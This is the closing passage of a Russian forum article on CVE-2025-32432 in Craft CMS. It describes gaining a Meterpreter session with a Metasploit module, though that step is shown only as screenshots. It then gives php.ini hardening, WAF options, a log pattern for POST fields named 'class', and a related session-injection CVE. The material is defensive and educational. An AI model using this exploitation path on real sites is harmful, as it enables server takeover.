        $items = $this->loadFromFile($this->itemFile);
        $itemsMtime = @filemtime($this->itemFile);
        $assignments = $this->loadFromFile($this->assignmentFile);
        $assignmentsMtime = @filemtime($this->assignmentFile);
        $rules = $this->loadFromFile($this->ruleFile);

Атака через Метасплоит​

Раз коснулся Меты, будет нечестно не продемонстрировать, как просто и легко все происходит. Чтобы у вас появился этот эксплоит, нужно обновить базу модулей Метасплоита. Не знаю у кого как, у меня ни на одной машине не было этого эксплоита без обновления. Дальше все просто. И видно на скриншотах. Единственный нюанс в том, что в нашем случае нужно указать TARGETURI. Этого параметра нет в эксплоите, он даже не подозревает о его существовании. Но благо в том, что Метасплоиту пофигу на знания модуля, этот параметр есть для каждого эксплоита по умолчанию. Иначе не получилось бы провести атаку. Эксплоит тупо сливал бы тестовое приложения, так как ломился бы в корень и не получал CSRF.

1751005295900.png


1751005331889.png

В результате, у нас есть полноценная стабильная сессия Метерпретера.

Как защититься?​

Самые простые рекомендации по защите от такой атаки - отключить phpinfo и поместить файлы сессии в другую папку. Для этого достаточно добавить в php.ini всего две строчки:

INI:
session.save_path = "/other_path/abrakadabra"
disable_functions = phpinfo

Все. Этого уже достаточно, чтобы эта атака была невозможной. Ни наш скрипт, не эксплоит Метасплоита, ничто другое не сможет воспользоваться уязвимостью. Хакер не получит путь к папке с сессиями, а значит не сможет корректно подобрать значение для itemFile. Шелл загруженный в сессию будет бесполезно отдыхать. У модуля Метасплоита есть на этот счет стандартно прописанный путь к папке сессий, но мы его подменили…

Остается, кончно, вариант с SQL-инъкцией через PDO из прошлой статьи. Но тоже вполне решаемо на уровне очистки данных.

Если вы разработчик, не забывайте про санитизацию ввода. Все данные нужно проверять и проверять. Как мы видели в примере кода, иной раз можно подменить даже жестко прописанные пути. Все, что нужно было разработчикам, это хотя бы проверить расширение файла перед загрузкой. В данной конкретной уязвимости, это простое, но на 100% эффективное ршение.

Повторял и буду повторять: проверяйте данные отправляемые пользователями, проверяйте данные полученные из сторонних источников, проверяйте данные полученные из собственных баз данных. Теперь вот еще добавляется, проверяйте пути к файлам, которые хотите подгрузить через include или require.

Что еще можно предпринять?

Неплохой вариант, попытаться скрыть приложение за CloudFlare. В конце мая, у CF появилось управляемое правило 100760, которое направлено, как раз таки, на защиту от CVE-2025-32432. У Akamai конкретно CVE‑2025‑32432 не упомянут, но у него есть поддержка десериализации и RCE-правил, большинство клиентов получают актуализацию в течение дня или двух.

Как вариант, можно присмотретьяс к POST-запросам, которые содержат "class" или "__class". Это может спасти ваше веб-приложение от уязвимостей, которые еще не побали в публичное поле. Легитимных запросов с этими полями, не так много, поэтому каждое упоминание в логе стоит внимательно изучить. Возможно, кто-то уже тихонечко эксплуатирует ваш веб-сервер. В тупую блокировать подобные запросы не стоит, можно потом слегка удивиться.

Также нет смысла отключать или скрывать endpoint generate-transform, из-за наличия легитимных запросов. Но, если логика вашего веб-прилоения позволяет, можно попробовать составить белый список IP с которых можно обращаться к данному апи.

CVE-2025-35939​

На эту CVE я обратил внимание случайно, когда искал причину, почему нужно именно рандомное имя параметра в шелле. Наткнулся на этот материал. Как оказалось, CVE-2025-35939 почти брат близнец 2025-32432. Точно так же, атака строится на Session File Injection. Но затрагивает более широкий спектр версий: до 5.7.5 и 4.15.3.

Для реализации атаки, нужно выполнить похожий на наш инициализирующий запрос, который сделает инъекцию вредоносного кода в сессию:

1751005358252.png


После узнаем полный путь до файла сессии. Но есть два неприятных больших нюанса в виде отсутствия гаджетов для выполнения phpinfo() и выполнения инъекции через RBAC\PhpManager. Предполагается, что в веб-приложении должно присутствовать LFI. Причем, не абы какое, а include или require, что значительно понижает шанс атаки.

1751005435564.png


Смцсл один, шанс атаки ниже, поэтому и не стал подробно рассматривать уязвимость. Думаю, что упоминания достаточно.

Что касается рекомендаций по защите, все просто - в дополнение к вышесказанному, не используйте инклуды где не нужно. Если используете, сто раз убедитесь в их безопасности.

Заключение​

Вот мы и познакомились с CVE-2025-32432 в Craft CMS. Которая по своему смыслу, является продолжением уязвимостей CVE-2024-4990 и CVE-2024-58136. Если точнее, это неплохой пример цепочки гаджетов для атак на фреймворки. При этом, реализация уязвимости довольно элегантная и оригинальная. Поместить часть вредоносного кода в сессию, а потом выполнить его используя гаджеты в двух уязвимых компонентах… мне кажется довольно красивым.

Я постарался максимально наглядно показать, что и как происходит. Какие стадии проходят пэйлоады. Какую роль играет каждый из них. Где именно находится уязвимый код и как он выглядит. А так же, как легко и просто можно было бы защитить свое приложение на Craft CMS.

Моя цель была, чтобы даже полный новичок смог разобраться и понять. Таким образом, это не просто описание уязвимости, а материал, который может натолкнуть на неплохие идеи. Возможно я ошибаюсь, всегда можете поделиться своим мнением в комментариях.

Если вам зашла статья, дайте знать. До новых встреч)
 

Вложения

  • sources.zip
    5.3 КБ · Просмотры: 20
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх